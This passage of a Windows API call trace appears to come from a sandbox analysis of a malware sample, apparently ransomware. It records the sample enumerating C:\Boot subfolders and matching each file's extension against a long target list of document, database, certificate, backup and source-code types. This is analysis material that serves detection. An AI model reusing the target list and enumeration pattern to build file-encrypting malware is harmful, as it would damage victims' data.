returned -1 [0090.053] lstrlenW (lpString=".jpg") returned 4 [0090.053] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0090.053] lstrlenW (lpString=".jpx") returned 4 [0090.053] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0090.053] lstrlenW (lpString=".js") returned 3 [0090.053] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0090.054] lstrlenW (lpString=".jsf") returned 4 [0090.054] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0090.054] lstrlenW (lpString=".json") returned 5 [0090.054] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0090.054] lstrlenW (lpString=".jsp") returned 4 [0090.054] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0090.054] lstrlenW (lpString=".kdc") returned 4 [0090.054] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0090.054] lstrlenW (lpString=".kmz") returned 4 [0090.054] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0090.054] lstrlenW (lpString=".kwm") returned 4 [0090.054] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0090.054] lstrlenW (lpString=".lasso") returned 6 [0090.054] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0090.054] lstrlenW (lpString=".lbi") returned 4 [0090.054] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0090.054] lstrlenW (lpString=".lgf") returned 4 [0090.054] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0090.054] lstrlenW (lpString=".lgp") returned 4 [0090.054] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0090.054] lstrlenW (lpString=".log") returned 4 [0090.054] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0090.054] lstrlenW (lpString=".m1v") returned 4 [0090.054] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0090.054] lstrlenW (lpString=".m4a") returned 4 [0090.054] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0090.054] lstrlenW (lpString=".m4v") returned 4 [0090.054] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0090.055] lstrlenW (lpString=".max") returned 4 [0090.055] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0090.055] lstrlenW (lpString=".md") returned 3 [0090.055] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0090.055] lstrlenW (lpString=".mda") returned 4 [0090.055] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0090.055] lstrlenW (lpString=".mdb") returned 4 [0090.055] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0090.055] lstrlenW (lpString=".mde") returned 4 [0090.055] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0090.055] lstrlenW (lpString=".mdf") returned 4 [0090.055] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0090.055] lstrlenW (lpString=".mdw") returned 4 [0090.055] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0090.055] lstrlenW (lpString=".mef") returned 4 [0090.055] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0090.055] lstrlenW (lpString=".mft") returned 4 [0090.055] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0090.055] lstrlenW (lpString=".mfw") returned 4 [0090.055] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0090.055] lstrlenW (lpString=".mht") returned 4 [0090.055] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0090.055] lstrlenW (lpString=".mhtml") returned 6 [0090.055] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0090.055] lstrlenW (lpString=".mka") returned 4 [0090.055] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0090.055] lstrlenW (lpString=".mkidx") returned 6 [0090.056] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0090.056] lstrlenW (lpString=".mkv") returned 4 [0090.056] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0090.056] lstrlenW (lpString=".mos") returned 4 [0090.056] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0090.056] lstrlenW (lpString=".mov") returned 4 [0090.056] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0090.056] lstrlenW (lpString=".mp3") returned 4 [0090.056] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0090.056] lstrlenW (lpString=".mp4") returned 4 [0090.056] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0090.056] lstrlenW (lpString=".mpeg") returned 5 [0090.056] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0090.056] lstrlenW (lpString=".mpg") returned 4 [0090.056] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0090.056] lstrlenW (lpString=".mpv") returned 4 [0090.056] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0090.056] lstrlenW (lpString=".mrw") returned 4 [0090.056] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0090.056] lstrlenW (lpString=".msg") returned 4 [0090.056] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0090.056] lstrlenW (lpString=".mxl") returned 4 [0090.056] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0090.056] lstrlenW (lpString=".myd") returned 4 [0090.056] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0090.056] lstrlenW (lpString=".myi") returned 4 [0090.056] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0090.057] lstrlenW (lpString=".nef") returned 4 [0090.057] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0090.057] lstrlenW (lpString=".nrw") returned 4 [0090.057] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0090.057] lstrlenW (lpString=".obj") returned 4 [0090.057] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0090.057] lstrlenW (lpString=".odb") returned 4 [0090.057] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0090.057] lstrlenW (lpString=".odc") returned 4 [0090.057] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0090.057] lstrlenW (lpString=".odm") returned 4 [0090.057] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0090.057] lstrlenW (lpString=".odp") returned 4 [0090.057] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0090.057] lstrlenW (lpString=".ods") returned 4 [0090.057] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0090.057] lstrlenW (lpString=".oft") returned 4 [0090.057] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0090.057] lstrlenW (lpString=".one") returned 4 [0090.057] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0090.057] lstrlenW (lpString=".onepkg") returned 7 [0090.057] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0090.057] lstrlenW (lpString=".onetoc2") returned 8 [0090.057] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0090.057] lstrlenW (lpString=".opt") returned 4 [0090.057] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0090.057] lstrlenW (lpString=".oqy") returned 4 [0090.058] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0090.058] lstrlenW (lpString=".orf") returned 4 [0090.058] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0090.058] lstrlenW (lpString=".p12") returned 4 [0090.058] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0090.058] lstrlenW (lpString=".p7b") returned 4 [0090.058] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0090.058] lstrlenW (lpString=".p7c") returned 4 [0090.058] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0090.058] lstrlenW (lpString=".pam") returned 4 [0090.058] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0090.058] lstrlenW (lpString=".pbm") returned 4 [0090.058] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0090.058] lstrlenW (lpString=".pct") returned 4 [0090.058] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0090.058] lstrlenW (lpString=".pcx") returned 4 [0090.058] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0090.058] lstrlenW (lpString=".pdd") returned 4 [0090.058] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0090.058] lstrlenW (lpString=".pdf") returned 4 [0090.058] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0090.058] lstrlenW (lpString=".pdp") returned 4 [0090.058] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0090.058] lstrlenW (lpString=".pef") returned 4 [0090.058] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0090.058] lstrlenW (lpString=".pem") returned 4 [0090.058] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0090.059] lstrlenW (lpString=".pff") returned 4 [0090.059] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0090.059] lstrlenW (lpString=".pfm") returned 4 [0090.059] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0090.059] lstrlenW (lpString=".pfx") returned 4 [0090.059] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0090.059] lstrlenW (lpString=".pgm") returned 4 [0090.059] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0090.059] lstrlenW (lpString=".php") returned 4 [0090.059] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0090.059] lstrlenW (lpString=".php3") returned 5 [0090.059] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0090.059] lstrlenW (lpString=".php4") returned 5 [0090.059] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0090.059] lstrlenW (lpString=".php5") returned 5 [0090.059] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0090.059] lstrlenW (lpString=".phtml") returned 6 [0090.059] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0090.059] lstrlenW (lpString=".pict") returned 5 [0090.059] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0090.059] lstrlenW (lpString=".pl") returned 3 [0090.059] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0090.059] lstrlenW (lpString=".pls") returned 4 [0090.059] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0090.059] lstrlenW (lpString=".pm") returned 3 [0090.059] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0090.060] lstrlenW (lpString=".png") returned 4 [0090.060] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0090.060] lstrlenW (lpString=".pnm") returned 4 [0090.060] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0090.060] lstrlenW (lpString=".pot") returned 4 [0090.060] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0090.060] lstrlenW (lpString=".potm") returned 5 [0090.060] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0090.060] lstrlenW (lpString=".potx") returned 5 [0090.060] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0090.060] lstrlenW (lpString=".ppa") returned 4 [0090.060] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0090.060] lstrlenW (lpString=".ppam") returned 5 [0090.060] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0090.060] lstrlenW (lpString=".ppm") returned 4 [0090.060] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0090.060] lstrlenW (lpString=".pps") returned 4 [0090.060] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0090.060] lstrlenW (lpString=".ppsm") returned 5 [0090.060] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0090.060] lstrlenW (lpString=".ppt") returned 4 [0090.060] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0090.060] lstrlenW (lpString=".pptm") returned 5 [0090.060] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0090.060] lstrlenW (lpString=".pptx") returned 5 [0090.060] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0090.060] lstrlenW (lpString=".prn") returned 4 [0090.060] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0090.061] lstrlenW (lpString=".ps") returned 3 [0090.061] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0090.061] lstrlenW (lpString=".psb") returned 4 [0090.061] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0090.061] lstrlenW (lpString=".psd") returned 4 [0090.061] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0090.061] lstrlenW (lpString=".pst") returned 4 [0090.061] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0090.061] lstrlenW (lpString=".ptx") returned 4 [0090.061] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0090.061] lstrlenW (lpString=".pub") returned 4 [0090.061] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0090.061] lstrlenW (lpString=".pwm") returned 4 [0090.061] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0090.061] lstrlenW (lpString=".pxr") returned 4 [0090.061] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0090.061] lstrlenW (lpString=".py") returned 3 [0090.061] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0090.061] lstrlenW (lpString=".qt") returned 3 [0090.061] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0090.061] lstrlenW (lpString=".r3d") returned 4 [0090.061] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0090.061] lstrlenW (lpString=".raf") returned 4 [0090.061] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0090.061] lstrlenW (lpString=".rar") returned 4 [0090.061] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0090.062] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0090.062] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0090.062] FindClose (in: hFindFile=0x4260350 | out: hFindFile=0x4260350) returned 1 [0090.062] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0090.167] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0090.167] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0090.167] lstrlenW (lpString="C:\\Boot\\es-ES") returned 13 [0090.167] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0090.167] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.167] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0090.167] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0090.167] lstrlenW (lpString=".1cd") returned 4 [0090.167] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0090.167] lstrlenW (lpString=".3ds") returned 4 [0090.167] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0090.167] lstrlenW (lpString=".3fr") returned 4 [0090.167] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0090.168] lstrlenW (lpString=".3g2") returned 4 [0090.168] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0090.168] lstrlenW (lpString=".3gp") returned 4 [0090.168] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0090.168] lstrlenW (lpString=".7z") returned 3 [0090.168] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0090.168] lstrlenW (lpString=".accda") returned 6 [0090.168] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0090.168] lstrlenW (lpString=".accdb") returned 6 [0090.168] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0090.168] lstrlenW (lpString=".accdc") returned 6 [0090.168] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0090.168] lstrlenW (lpString=".accde") returned 6 [0090.168] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0090.168] lstrlenW (lpString=".accdt") returned 6 [0090.168] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0090.168] lstrlenW (lpString=".accdw") returned 6 [0090.168] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0090.168] lstrlenW (lpString=".adb") returned 4 [0090.168] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0090.168] lstrlenW (lpString=".adp") returned 4 [0090.168] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0090.168] lstrlenW (lpString=".ai") returned 3 [0090.168] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0090.168] lstrlenW (lpString=".ai3") returned 4 [0090.168] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0090.169] lstrlenW (lpString=".ai4") returned 4 [0090.169] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0090.169] lstrlenW (lpString=".ai5") returned 4 [0090.169] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0090.169] lstrlenW (lpString=".ai6") returned 4 [0090.169] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0090.169] lstrlenW (lpString=".ai7") returned 4 [0090.169] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0090.169] lstrlenW (lpString=".ai8") returned 4 [0090.169] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0090.169] lstrlenW (lpString=".anim") returned 5 [0090.169] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0090.169] lstrlenW (lpString=".arw") returned 4 [0090.169] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0090.169] lstrlenW (lpString=".as") returned 3 [0090.169] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0090.169] lstrlenW (lpString=".asa") returned 4 [0090.169] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0090.169] lstrlenW (lpString=".asc") returned 4 [0090.169] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0090.169] lstrlenW (lpString=".ascx") returned 5 [0090.169] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0090.169] lstrlenW (lpString=".asm") returned 4 [0090.169] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0090.169] lstrlenW (lpString=".asmx") returned 5 [0090.169] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0090.170] lstrlenW (lpString=".asp") returned 4 [0090.170] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0090.170] lstrlenW (lpString=".aspx") returned 5 [0090.170] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0090.170] lstrlenW (lpString=".asr") returned 4 [0090.170] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0090.170] lstrlenW (lpString=".asx") returned 4 [0090.170] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0090.170] lstrlenW (lpString=".avi") returned 4 [0090.170] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0090.170] lstrlenW (lpString=".avs") returned 4 [0090.170] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0090.170] lstrlenW (lpString=".backup") returned 7 [0090.170] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0090.170] lstrlenW (lpString=".bak") returned 4 [0090.170] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0090.170] lstrlenW (lpString=".bay") returned 4 [0090.170] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0090.170] lstrlenW (lpString=".bd") returned 3 [0090.170] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0090.170] lstrlenW (lpString=".bin") returned 4 [0090.170] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0090.170] lstrlenW (lpString=".bmp") returned 4 [0090.170] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0090.170] lstrlenW (lpString=".bz2") returned 4 [0090.170] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0090.170] lstrlenW (lpString=".c") returned 2 [0090.171] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0090.171] lstrlenW (lpString=".cdr") returned 4 [0090.171] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0090.171] lstrlenW (lpString=".cer") returned 4 [0090.171] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0090.171] lstrlenW (lpString=".cf") returned 3 [0090.171] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0090.171] lstrlenW (lpString=".cfc") returned 4 [0090.171] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0090.171] lstrlenW (lpString=".cfm") returned 4 [0090.171] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0090.171] lstrlenW (lpString=".cfml") returned 5 [0090.171] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0090.171] lstrlenW (lpString=".cfu") returned 4 [0090.171] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0090.171] lstrlenW (lpString=".chm") returned 4 [0090.171] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0090.171] lstrlenW (lpString=".cin") returned 4 [0090.171] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0090.171] lstrlenW (lpString=".class") returned 6 [0090.171] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0090.171] lstrlenW (lpString=".clx") returned 4 [0090.171] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0090.171] lstrlenW (lpString=".config") returned 7 [0090.171] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0090.171] lstrlenW (lpString=".cpp") returned 4 [0090.172] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0090.172] lstrlenW (lpString=".cr2") returned 4 [0090.172] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0090.172] lstrlenW (lpString=".crt") returned 4 [0090.172] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0090.172] lstrlenW (lpString=".crw") returned 4 [0090.172] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0090.172] lstrlenW (lpString=".cs") returned 3 [0090.172] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0090.172] lstrlenW (lpString=".css") returned 4 [0090.172] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0090.172] lstrlenW (lpString=".csv") returned 4 [0090.172] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0090.172] lstrlenW (lpString=".cub") returned 4 [0090.172] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0090.172] lstrlenW (lpString=".dae") returned 4 [0090.172] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0090.172] lstrlenW (lpString=".dat") returned 4 [0090.172] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0090.172] lstrlenW (lpString=".db") returned 3 [0090.172] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0090.172] lstrlenW (lpString=".dbf") returned 4 [0090.172] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0090.172] lstrlenW (lpString=".dbx") returned 4 [0090.172] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0090.172] lstrlenW (lpString=".dc3") returned 4 [0090.173] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0090.173] lstrlenW (lpString=".dcm") returned 4 [0090.173] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0090.173] lstrlenW (lpString=".dcr") returned 4 [0090.173] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0090.173] lstrlenW (lpString=".der") returned 4 [0090.173] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0090.173] lstrlenW (lpString=".dib") returned 4 [0090.173] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0090.173] lstrlenW (lpString=".dic") returned 4 [0090.173] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0090.173] lstrlenW (lpString=".dif") returned 4 [0090.173] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0090.173] lstrlenW (lpString=".divx") returned 5 [0090.173] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0090.173] lstrlenW (lpString=".djvu") returned 5 [0090.173] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0090.173] lstrlenW (lpString=".dng") returned 4 [0090.173] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0090.173] lstrlenW (lpString=".doc") returned 4 [0090.173] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0090.173] lstrlenW (lpString=".docm") returned 5 [0090.173] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0090.173] lstrlenW (lpString=".docx") returned 5 [0090.173] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0090.173] lstrlenW (lpString=".dot") returned 4 [0090.173] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0090.174] lstrlenW (lpString=".dotm") returned 5 [0090.174] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0090.174] lstrlenW (lpString=".dotx") returned 5 [0090.174] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0090.174] lstrlenW (lpString=".dpx") returned 4 [0090.174] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0090.174] lstrlenW (lpString=".dqy") returned 4 [0090.174] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0090.174] lstrlenW 